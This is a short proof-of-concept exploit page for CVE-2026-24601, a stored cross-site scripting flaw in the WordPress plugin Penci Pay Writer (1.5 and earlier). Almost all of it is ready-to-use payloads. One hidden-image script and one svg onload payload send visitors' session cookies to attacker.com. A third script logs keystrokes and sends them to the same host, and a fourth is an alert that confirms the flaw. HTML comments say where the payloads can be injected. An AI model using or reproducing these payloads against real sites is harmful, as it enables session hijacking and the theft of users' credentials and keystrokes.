CVE-2026-24601

<!-- CVE-2026-24601 PoC - Stored XSS in Penci Pay Writer --> <!-- Author: Security Researcher --> <!-- Target: WordPress with Penci Pay Writer Plugin <= 1.5 --> <!-- Step 1: Inject malicious XSS payload via plugin's input field --> <!-- This payload steals session cookies and sends to attacker server --> <script> // Create image element for exfiltration var img = document.createElement('img'); img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie); img.style.display = 'none'; document.body.appendChild(img); </script> <!-- Alternative payload - Session hijacking --> <svg/onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))> <!-- Alternative payload - Keylogger --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k=' + e.key); }); </script> <!-- Simple alert for verification --> <script>alert('XSS Vulnerability Confirmed - CVE-2026-24601')</script> <!-- Payload can be injected in comment, post content, or plugin-specific fields -->

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